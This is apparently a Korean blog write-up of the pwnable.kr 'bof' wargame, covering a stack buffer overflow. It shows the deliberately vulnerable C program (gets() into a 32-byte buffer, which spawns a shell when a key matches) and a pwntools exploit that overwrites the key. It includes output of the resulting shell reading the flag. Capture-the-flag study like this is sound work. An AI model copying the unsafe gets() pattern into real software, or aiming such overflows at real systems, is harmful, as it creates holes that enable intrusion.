728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
2.2. 분석
main 함수에서 0xdeadbeef 의 값과 함께 func 함수를 실행한다.
func 변수에서는 32 bytes의 overflowme 변수를 선언하고 여기에 값을 입력 받는데,
ket 변수가 cafebabe이면 셀을 실행시켜준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
gets 함수로 값을 입력 받을때 그 크기를 지정하지 않아 overflow가 발생한다.
3.2. 공격 준비
파일도 제공되기 때문에 key 변수의 위치를 확인해서 덮어주면 되겠지만,
4 bytes씩 늘리다보면 어차피 만나게 될 것이니 대충 때려보자 ㅋㅋㅋ
4. exploit
from pwn import *
p = remote('pwnable.kr',9000)
pay = p32(0xcafebabe)*20
p.sendline(pay)
p.interactive()
┌[WyV3rN]-(d/hack)-
└> python3 a.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ ls
bof
bof.c
flag
log
super.pl
$ cat flag
----------#플래그는 삭제
728x90
반응형
'Wargame > pwnable.kr' 카테고리의 다른 글
input (0) | 2022.12.28 |
---|---|
random (0) | 2022.12.28 |
passcode (0) | 2022.12.27 |
collision (0) | 2022.12.27 |
fd (0) | 2022.12.27 |